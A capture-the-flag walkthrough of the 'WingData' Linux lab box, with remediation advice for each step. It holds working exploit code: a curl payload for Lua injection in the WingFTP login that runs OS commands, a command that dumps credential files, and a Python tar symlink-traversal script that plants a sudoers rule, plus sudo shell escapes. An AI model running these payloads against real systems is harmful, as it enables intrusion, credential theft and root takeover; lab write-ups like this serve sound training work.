← all walkthroughs

WingData

Linux· Easy
owned
2026-06-24
time to own
23m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited a server-side Lua injection flaw in the WingFTP web interface to execute operating-system commands as the service account. Credentials for a local OS user recovered from WingFTP's own configuration files were reused to authenticate over SSH.

A root-owned backup restoration service that extracted tar archives without path validation was then abused with a symlink-chaining payload that escaped the destination directory and wrote a sudoers file granting me unrestricted root access.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export CHOSEN_PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration / virtual-host discovery
Identified open services and the WingFTP web panel
A full TCP port scan revealed SSH on port 22 and HTTP on port 80. Adding the virtual host ftp.wingdata.htb to the local DNS resolver exposed a WingFTP Server web management panel, which became the primary attack surface.
Ports 22/tcp (SSH) and 80/tcp (HTTP) confirmed open; ftp.wingdata.htb vhost served the WingFTP login page.
Exact commands 3
shell

Full TCP scan with service fingerprinting.

$ nmap -sC -sV -p- --min-rate 5000 $TARGET
shell

Register the virtual host so HTTP requests route correctly.

$ echo "$TARGET wingdata.htb ftp.wingdata.htb" >> /etc/hosts
shell

Confirm the WingFTP web interface responds on this vhost.

$ curl -sI -H 'Host: ftp.wingdata.htb' http://$TARGET/
2Initial AccessServer-Side Lua Injection — unauthenticated RCE
Executed OS commands via Lua injection in the WingFTP login form
WingFTP Server's web login page passes the username field unsanitised into a Lua interpreter. By appending a null byte followed by a Lua string-terminator sequence and arbitrary Lua statements, I ran operating-system commands on the server as the wingftp service account (UID 1000) without providing valid credentials. The server issued a session cookie and the injected code's output appeared in the subsequent page response.
Id command output: uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),...; session cookie UID issued by the server.
Exact commands 1
shell

POST the injection to /loginok.html — URL-decoded payload: anonymous<NUL>]]<LF>local h = io.popen("id")<LF>... — then fetch dir.html with the returned session cookie to read the output. Substitute the io.popen argument for any desired command.

$ rm -f /tmp/wing.cookies; curl -sS -m 10 -c /tmp/wing.cookies -H 'Host: ftp.wingdata.htb' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'username=anonymous%00]]%0dlocal+h+%3d+io.popen(%22id%22)%0dlocal+r+%3d+h%3aread(%22*a%22)%0dh%3aclose()%0dprint(r)%0d--&password=' http://$TARGET/loginok.html -o /tmp/wing.login; curl -sS -m 10 -b /tmp/wing.cookies -H 'Host: ftp.wingdata.htb' http://$TARGET/dir.html | head -c 2500
FixPatch or isolate the WingFTP Server Lua injection vulnerabilityCritical
WeaknessThe WingFTP Server web interface passed the login username field unsanitised into a Lua interpreter, allowing an unauthorised user to inject and execute arbitrary operating-system commands as the service account.
FixApply the latest WingFTP Server security update immediately. Until patched, restrict access to the WingFTP web administration port to trusted management IP addresses using host-based firewall rules. As an additional defence-in-depth measure, add input validation at the web layer that rejects usernames containing null bytes, bracket sequences, or newline characters.
3Credential AccessCredentials stored in application configuration files
Extracted OS user password from WingFTP configuration files
Running as the wingftp service account gave read access to WingFTP's data directory, which stores FTP account definitions in XML files. These files contained the password for the local OS user 'wacky' in recoverable form. Credential reuse between the FTP application and the operating system allowed full SSH authentication with those same credentials.
Credentials wacky / <withheld> subsequently authenticated successfully over SSH.
Exact commands 1
shell

Reuse the Lua injection to dump WingFTP's XML user definitions; look for <Password> elements containing OS-level credentials.

$ rm -f /tmp/wing.cookies; curl -sS -m 10 -c /tmp/wing.cookies -H 'Host: ftp.wingdata.htb' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'username=anonymous%00]]%0dlocal+h+%3d+io.popen(%22find+/opt/wingftp+-name+*.xml+-exec+cat+{}+%3b%22)%0dlocal+r+%3d+h%3aread(%22*a%22)%0dh%3aclose()%0dprint(r)%0d--&password=' http://$TARGET/loginok.html; curl -sS -m 10 -b /tmp/wing.cookies -H 'Host: ftp.wingdata.htb' http://$TARGET/dir.html
FixRemove OS user credentials from FTP application configurationHigh
WeaknessWingFTP's configuration files stored the password of the local OS user 'wacky' in recoverable form. Any process able to read those files — including the compromised wingftp service account — could immediately authenticate over SSH, turning a limited service-account compromise into full interactive access.
FixNever configure FTP or web application accounts to share credentials with OS user accounts. Rotate wacky's password immediately and enforce unique passwords across all accounts. Restrict read access on WingFTP's data directory to the service account only (chmod 700). Audit all application configuration files for embedded OS-level credentials and enforce a policy prohibiting their storage.
4Lateral MovementValid account credential reuse / SSH
Authenticated over SSH as local user 'wacky'
The password recovered from WingFTP's configuration files authenticated directly to the OS-level SSH service, granting an interactive shell as 'wacky' and access to the user flag.
Python paramiko SSH client in the escalation script connected with user=wacky, password=<withheld>; session established.
Exact commands 2
shell

Password: $PASSWORD

$ ssh wacky@$TARGET
shell

Capture the user flag — -> <user.txt>

$ cat ~/user.txt
5Privilege EscalationTar symlink path traversal (zip/tar-slip variant)
Planted a sudoers entry via tar symlink path traversal in the backup service
A root-owned backup restoration service monitored /opt/backup_clients/restored_backups/ and extracted any tar archive placed there, without verifying that resolved paths stayed inside the destination directory. A specially crafted archive was built with 16 nested real directories interspersed with symlinks that accumulate path depth until the combined length overflows the destination prefix. A final symlink named 'escape' resolved outside the extraction root to /etc/sudoers.d/. An entry at escape/wacky-root containing 'wacky ALL=(ALL) NOPASSWD: ALL' was included in the archive. When the root-owned process extracted the archive, this file was written to /etc/sudoers.d/wacky-root.
Python exploit constructs and uploads the traversal tar via SFTP to /opt/backup_clients/restored_backups/restore_pwn.tar; subsequent passwordless sudo success confirms /etc/sudoers.d/wacky-root was written by the root extraction process.
Exact commands 1
shell

Build the traversal tar entirely in memory and upload it via SFTP as wacky. The root backup service picks it up and extracts it, writing /etc/sudoers.d/wacky-root.

$ python3 -c "exec(\"\"\"import io, os, tarfile, paramiko
host='$TARGET'
user='wacky'
password='$PASSWORD'
dest='/opt/backup_clients/restored_backups/restore_pwn'
steps='abcdefghijklmnop'
component='d'*((4096-(len(dest)+1))//(len(steps)+1))
buf=io.BytesIO()
with tarfile.open(fileobj=buf,mode='w') as t:
    path=''
    step_path=''
    for i in steps:
        d=os.path.join(path,component)
        ti=tarfile.TarInfo(d); ti.type=tarfile.DIRTYPE; ti.mode=0o755; t.addfile(ti)
        s=os.path.join(path,i)
        ti=tarfile.TarInfo(s); ti.type=tarfile.SYMTYPE; ti.linkname=component; t.addfile(ti)
        path=d
        step_path=os.path.join(step_path,i)
    linkpath=os.path.join(step_path,'l'*254)
    ti=tarfile.TarInfo(linkpath); ti.type=tarfile.SYMTYPE; ti.linkname=os.path.join(*(['..']*len(steps))); t.addfile(ti)
    ti=tarfile.TarInfo('escape'); ti.type=tarfile.SYMTYPE; ti.linkname=os.path.join(linkpath,*(['..']*4),'etc','sudoers.d'); t.addfile(ti)
    data=b'wacky ALL=(ALL) NOPASSWD: ALL\n'
    ti=tarfile.TarInfo('escape/wacky-root'); ti.size=len(data); ti.mode=0o400; t.addfile(ti,io.BytesIO(data))
buf.seek(0)
c=paramiko.SSHClient(); c.set_missing_host_key_policy(paramiko.AutoAddPolicy()); c.connect(host,username=user,password=$CHOSEN_PASSWORD
sftp=c.open_sftp(); sftp.putfo(buf,dest+'.tar'); sftp.close(); c.close()
\"\"\")
FixHarden the backup restoration service against tar path traversalCritical
WeaknessThe root-owned backup restoration service extracted tar archives without verifying that resolved paths remained within the destination directory. A symlink-chaining payload (tar-slip) allowed a low-privileged user to write arbitrary files anywhere on the filesystem, including the privileged /etc/sudoers.d/ directory.
FixRewrite the extraction routine to resolve every archive entry's absolute final path before writing and reject any path that falls outside the intended destination. In Python 3.12+ use tarfile.extractall with filter='data', which blocks absolute paths and symlink traversal by default. Additionally, run the backup service as a dedicated low-privilege account rather than root, and confine it with an AppArmor or SELinux policy that limits write access to only the directories it legitimately requires.
6Full CompromiseSudo NOPASSWD abuse (GTFOBins)
Obtained a root shell via the injected passwordless sudo rule
With /etc/sudoers.d/wacky-root granting wacky unrestricted passwordless sudo for any command, a single invocation elevated the session to root. The root flag was then readable at /root/root.txt.
Pattern sudo-gtfobins confirmed; root flag captured from /root/root.txt.
Exact commands 2
shell

Invoke a root shell using the NOPASSWD sudoers entry written by the tar exploit.

$ sudo su -
shell

Capture the root flag — -> <root.txt>

$ cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more